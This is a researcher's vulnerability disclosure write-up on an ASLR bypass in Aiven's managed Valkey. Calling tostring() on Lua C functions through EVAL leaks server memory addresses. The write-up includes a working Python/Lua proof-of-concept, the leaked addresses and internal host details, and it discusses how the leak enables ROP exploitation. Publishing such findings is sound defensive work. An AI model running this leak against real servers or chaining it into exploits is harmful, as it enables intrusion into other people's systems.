Zion Boggan

In-depth vulnerability research, detection engineering & applied cryptography.

● Open to security-research & detection roles
GitHub · LinkedIn · Email
← Research notebook
Info disclosure

ASLR Bypass via Lua Function Pointer Leak in Aiven Managed Valkey

Summary

Any authenticated user on Aiven’s managed Valkey service can leak heap/code segment memory addresses of the valkey-server process by calling tostring() on Lua function objects within an EVAL script. The redis and server tables in the Lua scripting environment expose 12+ C function pointers via their string representations (e.g., function: 0x7f76122ca790). These addresses defeat Address Space Layout Randomization (ASLR) for the server process.

While this is an information disclosure finding on its own, it directly enables exploitation of any memory corruption vulnerability (such as the previously reported RESTORE listpack assertion bug) by providing the attacker with precise memory layout information needed to build reliable exploits.

Affected Target

  • Service: Aiven for Valkey (Tier 1)
  • Version tested: Valkey 8.1.4
  • Instance: :26161

Severity

P3, Information Disclosure

VRT: Server Security Misconfiguration > Lack of Security Headers > Information Disclosure

CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N, Score: 4.3 (Medium)

Steps to Reproduce

import redis

r = redis.Redis(
 host="<host>", port=26161, username='default', password='<password>',
 ssl=True, ssl_cert_reqs='required',
 ssl_ca_certs='/etc/ssl/certs/ca-certificates.crt',
 decode_responses=True, socket_timeout=10
)

result = r.execute_command('EVAL', '''
 local ptrs = {}
 for k,v in pairs(redis) do
 if type(v) == "function" then
 ptrs[#ptrs+1] = k .. "=" .. tostring(v)
 end
 end
 table.sort(ptrs)
 return ptrs
''', 0)

for ptr in result:
 print(ptr)

Actual output on Aiven:

acl_check_cmd=function: 0x7f76122ca790
breakpoint=function: 0x7f76122ca9a0
call=function: 0x7f76122ca2b0
debug=function: 0x7f76122ca8c0
error_reply=function: 0x7f76122ca580
log=function: 0x7f76122ca700
pcall=function: 0x7f76122ca310
register_function=function: 0x7f76122cab90
replicate_commands=function: 0x7f76122caa30
set_repl=function: 0x7f76122ca640
sha1hex=function: 0x7f76122ca430
status_reply=function: 0x7f76122ca4d0

These are actual virtual memory addresses of C functions in the valkey-server process. The addresses are in the 0x7f76122ca... range, indicating they’re in a dynamically loaded library segment, consistent with the Valkey executable or a loaded shared library.

Impact

  1. ASLR defeat: Address Space Layout Randomization is the primary defense against memory corruption exploitation on modern Linux. Leaking function pointers reveals the base address of the code segment, allowing an attacker to calculate the address of any function or gadget.

  2. Exploitation enabler: Combined with any memory corruption primitive (buffer overflow, use-after-free, or assertion-reachable state), these addresses enable reliable ROP chain construction or function pointer overwrite attacks.

  3. Process-level information: The leaked addresses persist across multiple EVAL calls, confirming they belong to the long-running server process (not a sandboxed child). A server restart randomizes the addresses (confirmed via previous crash tests).

  4. Additional info leaked via other commands:, CLIENT LIST reveals internal IPv6 address: fda7:a938:5bfe:5fa6:0:5a8:649:f83d, MODULE LIST reveals module path: /usr/valkey-8.1/usr/lib64/modules/libjson.so, HELLO reveals internal server configuration, os.clock() via Lua reveals process CPU time (1038+ seconds)

Root Cause

Valkey’s Lua sandbox does not override the default tostring() behavior for C function objects. In standard Lua 5.1, tostring() on a C function returns "function: 0x<address>" where the address is the actual memory address of the C function. The sandbox should either: - Override tostring() to return opaque identifiers for function objects - Remove function pointer addresses from the string representation - Block tostring() on the redis/server table entries

Recommended Fix

Patch the Lua sandbox to override tostring() for function values, returning a non-address identifier (e.g., "function: redis.call" instead of "function: 0x7f76122ca2b0").


Source · github.com/zionsworking/security-research-notebook · writeups/aiven/valkey-aslr-leak.md